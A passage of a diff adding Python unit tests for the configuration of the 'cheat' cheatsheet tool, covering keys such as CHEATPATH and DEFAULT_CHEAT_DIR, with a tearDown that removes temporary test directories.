+        _configuration_key_test(self,"CHEATCOLORS",["true",None],
+        Configuration.get_cheatcolors)
+
+
+    def test_get_cheatpath(self):
+        _configuration_key_test(self,"CHEATPATH",["/etc/myglobalcheats",
+        "/etc/anotherglobalcheats","/rootcheats",None],Configuration.get_cheatpath)
+
+
+    def test_get_defaultcheatdir(self):
+        _configuration_key_test(self,"DEFAULT_CHEAT_DIR",["/etc/myglobalcheats",
+        "/etc/anotherglobalcheats","/rootcheats",None],Configuration.get_default_cheat_dir)
+
+    def tearDown(self):
+        shutil.rmtree(os.path.dirname(os.path.abspath(__file__)) +'/etc')
+        shutil.rmtree(os.path.dirname(os.path.abspath(__file__)) +'/home')